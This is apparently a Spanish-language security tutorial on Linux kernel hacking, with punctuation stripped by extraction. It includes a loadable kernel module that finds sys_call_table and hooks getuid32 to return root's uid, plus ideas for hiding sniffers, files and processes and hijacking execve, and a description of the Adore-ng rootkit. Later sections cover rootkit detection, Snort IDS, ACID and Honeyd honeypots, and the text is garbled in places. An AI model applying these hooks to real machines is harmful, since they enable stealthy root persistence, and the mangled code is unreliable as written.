Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
